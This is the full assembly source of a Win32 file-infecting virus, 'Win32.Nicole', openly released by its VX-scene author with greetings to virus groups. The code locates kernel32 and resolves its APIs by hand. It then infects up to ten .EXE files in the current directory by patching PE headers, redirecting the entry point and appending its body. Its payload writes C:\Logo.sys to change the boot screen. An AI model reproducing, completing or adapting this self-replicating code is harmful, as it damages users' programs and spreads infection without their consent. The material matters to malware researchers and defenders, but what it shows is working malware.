To assemble, you also need nic.inc.
;******************************************************
;****Win32.Nicole***coded by Necronomikon[Shadowvx]****
;******************************************************
; Name       : Win32.Nicole  v.1.3
; Author     : Necronomikon
; Group      : ShadowVX (at the moment!)
; Date       : 21.Mar.2001
; Origin     : Germany
; Platform   : Win9x,ME (not tested under NT/2K!?)
; Resident   : no
; Poly       : no
; Payload    : yes,drops a bmp file to c:\ called Logo.sys. This changes the start up screen while windows is loading with 
;              another logo.;p
; Destructiv : no
;--------
;-Infos:-
;--------
;Heya ppl this is Necronomikon,when i write this piece of code i got in trouble with the german
;police(damn drugz!!!)!So i am really sorry for my lazy "Code-description",no comments in it!:(
;When i have enough time i'll do it and update it!;)
;
;Greetz goes out to:
;-------------------
;Gigabyte
;jackie
;SnakeByte
;Ratter
;WalruS
;daniel- und alle anderen auf #german_vir
;gl_storm
;Ultras
;Del_Armg0
;BlackJack
;Fatal Error
;BumbleBee
;Evul
;Lys Kovick
;SerialKiller (TheRiddl;))
;Perikles
;-KD-
;SnakeMan
;SlageHammer
;dageshi
;Roadkil
;Yello
;BlackCat
;
;#virus,#shadowvx,#vir,#vxers,#vxtrader,#mtx,#gigavirii
;
;Non-VX.Greetz:newmann,ocker,Fii7e,LISP,NewViper,Ling0,Snapman and especially Sui(BN is kewl!);)
;---------------------------

.586p
.model flat
jumps                      
.radix 16                  
extrn ExitProcess:PROC     
extrn MessageBoxA:PROC  
   
.data     
include nic.inc

bmpSize         equ     offset bmpName-offset nic
bmpName         db      'C:\Logo.sys',0 ; name for bmp
Buffersize equ (offset EndBufferData - offset VirusEnd )

;***************************
cont0           db      0 ;*               
cont1           db      0 ;* 
fHnd            dd      ? ;*                      
nec             dd      0 ;*
L             equ <LARGE> ;*
;***************************
 FILETIME                STRUC
 FT_dwLowDateTime        dd       ?
 FT_dwHighDateTime       dd       ?
 FILETIME                ENDS

szTitle         db      "Win32.Nicole",0
szMessage       db      "Written by a coder in luv...",0
VirusSize equ (offset VirusEnd - offset Virus )
.code

start:

 push    00000000h                       ; Parameters for MessageBoxA
 push    offset szTitle
 push    offset szMessage
 push    00000000h
 call dword ptr [ebp+XMessageBoxA]
  

db "*Win32.Nicole* by Necronomikon/ShadowvX", 0 ;<---lil copyright

Virus: 
 call Delta                
 call    createBmp               ; creates a logo.sys in c:\                 
Delta:
 pop ebp                   
 sub ebp, offset Delta     
 mov eax, dword ptr [ebp+OldEIP]
 mov dword ptr [ebp+retEIP], eax
 mov eax, dword ptr [ebp+OldBase]
 mov dword ptr [ebp+retBas], eax
 mov esi, [esp]            
 xor si, si                
 call GetKernel            
 jnc GetApis               
 mov esi, 0BFF70000h       

 call GetKernel
 jnc GetApis

 mov esi, 077F00000h       
 call GetKernel

 jnc GetApis

 mov esi, 077e00000h       
 call GetKernel

 jnc GetApis
 jmp ExecuteHost           

GetKernel:                

 mov byte ptr [ebp+K32Trys], 5h

GK1:
 cmp byte ptr [ebp+K32Trys], 00h
 jz NoKernel               

 call CheckMZSign          
 jnc CheckPE



GK2:

 sub esi, 10000h           
 dec byte ptr [ebp+K32Trys]
 jmp GK1                  

CheckPE:                   
 mov edi, [esi+3Ch]        
 add edi, esi
 call CheckPESign
 jnc CheckDLL   
 jmp GK2

CheckDLL:
 add edi, 16h      
 mov bx, word ptr [edi] 
 and bx, 0F000h         
 cmp bx, 02000h        
 jne GK2               

KernelFound:
 sub edi, 16h 
 xchg eax, edi 
 xchg ebx, esi
 clc         
 ret 

NoKernel:
 stc
 ret

 K32Trys      db 5h        


 LL  db 'LoadLibraryA', 0h  
 GPA db 'GetProcAddress', 0h 

GetApis:                  
 mov [ebp+KernelAddy], eax 
 mov [ebp+MZAddy], ebx
 lea edx, [ebp+LL]         
 mov ecx, 0Ch               
 call SearchAPI1  
 mov [ebp+XLoadLibraryA], eax
 xchg eax, ecx             
 jecxz ExecuteHost
 lea edx, [ebp+GPA]   
 mov ecx, 0Eh  
 call SearchAPI1
 mov [ebp+XGetProcAddress], eax

 xchg eax, ecx   

 jecxz ExecuteHost
 jmp GetAPI2               
 KERNEL32  db 'Kernel32',0 

GetAPI2:                  

 lea eax, [ebp+KERNEL32]
 push eax
 call dword ptr [ebp+XLoadLibraryA]
 mov [ebp+K32Handle], eax
 test eax, eax
 jz ExecuteHost
 lea esi, [ebp+Kernel32Names]
 lea edi, [ebp+XFindFirstFileA]
 mov ebx, [ebp+K32Handle]
 push NumberOfKernel32APIS
 pop ecx
 call GetAPI3
 jmp Inluv

SearchAPI1:             

 and word ptr [ebp+counter], 0h
 mov eax, [ebp+KernelAddy] 
 mov esi, [eax+78h]        
 add esi, [ebp+MZAddy]     
 add esi, 1Ch              
 lodsd                     
 add eax, [ebp+MZAddy]     
 mov dword ptr [ebp+ATableVA], eax
 lodsd                     
 add eax, [ebp+MZAddy]     
 mov dword ptr [ebp+NTableVA], eax
 lodsd                     
 add eax, [ebp+MZAddy]     
 mov dword ptr [ebp+OTableVA], eax
 mov esi, [ebp+NTableVA]

SearchNextApi1:
 push esi                  
 lodsd
 add eax, [ebp+MZAddy]    
 mov esi, eax              
 mov edi, edx 
 push ecx
 cld 
 rep cmpsb
 pop ecx
 jz FoundApi1
 pop esi            
 add esi, 4h        
 inc word ptr [ebp+counter] 
 cmp word ptr [ebp+counter], 2000h
 je NotFoundApi1
 jmp SearchNextApi1 

FoundApi1:
 pop esi
 movzx eax, word ptr [ebp+counter]
 shl eax, 1h          
 add eax, dword ptr [ebp+OTableVA]
 xor esi, esi
 xchg eax, esi
 lodsw        
 shl eax, 2h
 add eax, dword ptr [ebp+ATableVA]
 mov esi, eax  
 lodsd                  
 add eax, [ebp+MZAddy]  
 ret  

NotFoundApi1:
 xor eax, eax 
 ret          

Kernel32Names:

 NumberOfKernel32APIS equ 9d

 db 'FindFirstFileA', 0

 db 'FindNextFileA', 0

 db 'FindClose', 0

 db 'CreateFileA', 0

 db 'CloseHandle', 0

 db 'CreateFileMappingA', 0

 db 'MapViewOfFile', 0

 db 'MessageBoxA', 0

 db 'UnmapViewOfFile', 0


GetAPI3:
 push ecx
 push esi    
 push ebx   
 call dword ptr [ebp+XGetProcAddress]
 stosd  
 pop ecx 
 dec ecx
 jz EndApi3
 push ecx  

SearchZero:    
 cmp byte ptr [esi], 0h
 je GotZero
 inc esi
 jmp SearchZero

GotZero:
 inc esi
 pop ecx                  
 jmp GetAPI3              

 EndApi3: 
 ret 

Inluv:
 mov [ebp+InfCounter], 10d 


InfectCurDir:
 lea esi, [ebp+filemask]
 call FindFirstFileProc
 inc eax
 jz EndInfectCurDir1  
 dec eax

InfectCurDirFile:
 lea esi, [ebp+WFD_szFileName]
 call InfectFile    
 cmp [ebp+InfCounter], 0h  
 jna EndInfectCurDir2
 call FindNextFileProc
 test eax, eax
 jnz InfectCurDirFile

 EndInfectCurDir2:       
 push dword ptr [ebp+FindHandle]
 call dword ptr [ebp+XFindClose]

EndInfectCurDir1:
 jmp ExecuteHost
 InfCounter db 0h          
 FindHandle dd 0h          
 filemask   db '*.EXE', 0  

ExecuteHost:              
 or ebp, ebp 
 jz FirstGenHost
 mov eax,12345678h 
 org $-4
 retEIP dd 0h
 add eax,12345678h
 org $-4
 retBas dd 0h
 jmp eax

FirstGenHost:
 push 0h                   
 call ExitProcess          
 OldEIP  dd 0h             
 OldBase dd 0h             
 NewEIP  dd 0h             

InfectFile:  
 cmp dword ptr [ebp+WFD_nFileSizeLow], 200d
 jbe NoInfection
 cmp dword ptr [ebp+WFD_nFileSizeHigh], 0
 jne NoInfection
 call OpenFile  
 jc NoInfection 
 mov esi, eax
 call CheckMZSign  
 jc Notagoodfile
 cmp word ptr [eax+3Ch], 0h
 je Notagoodfile
 xor esi, esi
 mov esi, [eax+3Ch]
 cmp dword ptr [ebp+WFD_nFileSizeLow], esi
 jb Notagoodfile
 add esi, eax
 mov edi, esi
 call CheckPESign  
 jc Notagoodfile
 cmp dword ptr [esi+4Ch], 'iciN' ;check infection marker
 jz Notagoodfile
 mov bx, word ptr [esi+16h]
 and bx, 0F000h            
 cmp bx, 02000h
 je Notagoodfile           
 mov bx, word ptr [esi+16h]
 and bx, 00002h 
 cmp bx, 00002h
 jne Notagoodfile         
 call InfectEXE   
 jc NoInfection   

Notagoodfile:
 call UnMapFile 

NoInfection:
 ret

OpenFile:
 xor eax,eax 
 push eax
 push eax
 push 3h
 push eax
 inc eax
 push eax
 push 80000000h or 40000000h
 push esi    
 call dword ptr [ebp+XCreateFileA]
 inc eax
 jz Closed 
 dec eax   
 mov dword ptr [ebp+FileHandle],eax
 mov ecx, dword ptr [ebp+WFD_nFileSizeLow]

CreateMap:                 
 push ecx 
 xor eax,eax  
 push eax
 push ecx
 push eax
 push 00000004h
 push eax
 push dword ptr [ebp+FileHandle]
 call dword ptr [ebp+XCreateFileMappingA]
 mov dword ptr [ebp+MapHandle],eax
 pop ecx       
 test eax, eax  
 jz CloseFile  
 xor eax,eax             
 push ecx
 push eax
 push eax
 push 2h
 push dword ptr [ebp+MapHandle]
 call dword ptr [ebp+XMapViewOfFile]
 or eax,eax       
 jz UnMapFile
 mov dword ptr [ebp+MapAddress],eax
 clc  
 ret

UnMapFile:
 call UnMapFile2

CloseFile:   
 push dword ptr [ebp+FileHandle]
 call [ebp+XCloseHandle]

Closed:
 stc   
 ret



UnMapFile2:       
 push dword ptr [ebp+MapAddress]
 call dword ptr [ebp+XUnmapViewOfFile]
 push dword ptr [ebp+MapHandle]
 call dword ptr [ebp+XCloseHandle]
 ret

InfectEXE:  
 mov ecx, [esi+3Ch]    
 mov eax, dword ptr [ebp+WFD_nFileSizeLow] 
 add eax, VirusSize
 call Align     
 mov dword ptr [ebp+NewSize], eax
 xchg ecx, eax
 pushad   
 call UnMapFile2
 popad 
 call CreateMap  
 jc NoEXE
 mov esi, dword ptr [eax+3Ch]
 add esi, eax
 mov edi, esi 
 movzx eax, word ptr [edi+06h]
 dec eax
 imul eax, eax, 28h
 add esi, eax  
 add esi, 78h  
 mov edx, [edi+74h]
 shl edx, 3h  
 add esi, edx 
 mov eax, [edi+28h]
 mov dword ptr [ebp+OldEIP], eax
 mov eax, [edi+34h]
 mov dword ptr [ebp+OldBase], eax
 mov edx, [esi+10h]    
 mov ebx, edx
 add edx, [esi+14h] 
 push edx           
 mov eax, ebx
 add eax, [esi+0Ch]        
 mov [edi+28h], eax
 mov dword ptr [ebp+NewEIP], eax
 mov eax, [esi+10h]  
 push eax
 add eax, VirusSize
 mov ecx, [edi+3Ch] 
 call Align
 mov [esi+10h], eax
 pop eax  
 add eax, VirusSize
 add eax, Buffersize
 mov [esi+08h], eax
 pop edx
 mov eax, [esi+10h]
 add eax, [esi+0Ch]
 mov [edi+50h], eax
 or dword ptr [esi+24h], 0A0000020h
 mov dword ptr [edi+4Ch], 'iciN'
 xchg edi, edx
 lea esi, [ebp+Virus]
 add edi, dword ptr [ebp+MapAddress]
 mov ecx, VirusSize
 rep movsb
 dec byte ptr [ebp+InfCounter]

NoEXE:          
 stc
 ret

Align:
 push edx
 xor edx, edx
 push eax
 div ecx
 pop eax
 sub ecx, edx
 add eax, ecx
 pop edx
ret

FindFirstFileProc:
 lea eax, [ebp+WIN32_FIND_DATA]
 push eax
 push esi
 call dword ptr [ebp+XFindFirstFileA]
 mov dword ptr [ebp+FindHandle], eax
ret

FindNextFileProc:
 lea edi, [ebp+WFD_szFileName]
 mov ecx, 276d 
 xor eax, eax
 rep stosb
 lea eax, [ebp+WIN32_FIND_DATA]
 push eax
 mov eax, dword ptr [ebp+FindHandle]
 push eax
 call dword ptr [ebp+XFindNextFileA]
 ret

CheckPESign:
 cmp dword ptr [edi], 'FP' 
 jae NoPESign
 cmp dword ptr [edi], 'DP' 
 jbe NoPESign
 clc   
 ret

 NoPESign:
 stc
 ret

CheckMZSign:
 cmp word ptr [esi], '[M'
 jae NoPESign
 cmp word ptr [esi], 'YM'
 jbe NoPESign
 clc
 ret
 ret

;!!! this code is taken from 'Win32.3x3' by BumbleBee !!!
createBmp:
        push    L 0
        push    L 20h                   ; archive
        push    L 2
        push    L 0h
        push    L (1h OR 2h)
        push    L 40000000h
        lea     eax,bmpName
        push    eax
        call dword ptr [ebp+XCreateFileA]   ; open new file for write (shared)
        cmp     eax,-1
        je      errBmp

        mov     dword ptr [fHnd],eax    ; save handle

        lea     edi,nic                 ; uncompress and write the bmp
        mov     dword ptr [cont0],bmpSize
dcLoop:
        push    L 0
        lea     eax,nec
        push    eax
        push    L 1
        push    edi
        push    dword ptr [fHnd]
        cmp     byte ptr [edi],0ffh
        jne     skipFF

        dec     dword ptr [cont0]
        call    addFF
        inc     edi

skipFF:
        inc     edi
        dec     dword ptr [cont0]
        cmp     dword ptr [cont0],0
        jne     dcLoop

        push    dword ptr [fHnd]        ; close file
        call dword ptr [ebp+XCloseHandle]

errBmp:
        ret

addFF:
        xor     ecx,ecx
        mov     cl,byte ptr [edi+1]
        mov     byte ptr [cont1],cl
        cmp     cl,0
        jne     addFFLoop
        ret

addFFLoop:
        push    L 0
        lea     eax,nec
        push    eax
        push    L 1
        push    edi
        push    dword ptr [fHnd]
        dec     byte ptr [cont1]
        cmp     byte ptr [cont1],0
        jne     addFFLoop

        ret
;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!


VirusEnd:             

 K32Handle dd (?)           
 XLoadLibraryA    dd (?)   
 XGetProcAddress  dd (?)
 XFindFirstFileA       dd (?)
 XFindNextFileA        dd (?)
 XFindClose            dd (?)
 XCreateFileA          dd (?)
 XCloseHandle          dd (?)
 XWriteFile            dd (?)
 XCreateFileMappingA   dd (?)
 XMapViewOfFile        dd (?)
 XMessageBoxA          dd (?)
 XUnmapViewOfFile      dd (?)

 KernelAddy   dd (?)       ; PE-Header
 MZAddy       dd (?)       ; MZ-Header

 counter  dw (?)           

 ATableVA dd (?)  
 NTableVA dd (?)  
 OTableVA dd (?) 
NewSize   dd (?)  

 WIN32_FIND_DATA         label    byte

 WFD_dwFileAttributes    dd       ?

 WFD_ftCreationTime      FILETIME ?

 WFD_ftLastAccessTime    FILETIME ?

 WFD_ftLastWriteTime     FILETIME ?

 WFD_nFileSizeHigh       dd       ?

 WFD_nFileSizeLow        dd       ?

 WFD_dwReserved0         dd       ?

 WFD_dwReserved1         dd       ?

 WFD_szFileName          db       260d dup (?)

 WFD_szAlternateFileName db       13   dup (?)

 WFD_szAlternateEnding   db       03   dup (?)

 FileHandle              dd       (?)       
 MapHandle               dd       (?)      
 MapAddress              dd       (?)      

EndBufferData:
end Virus

Back to index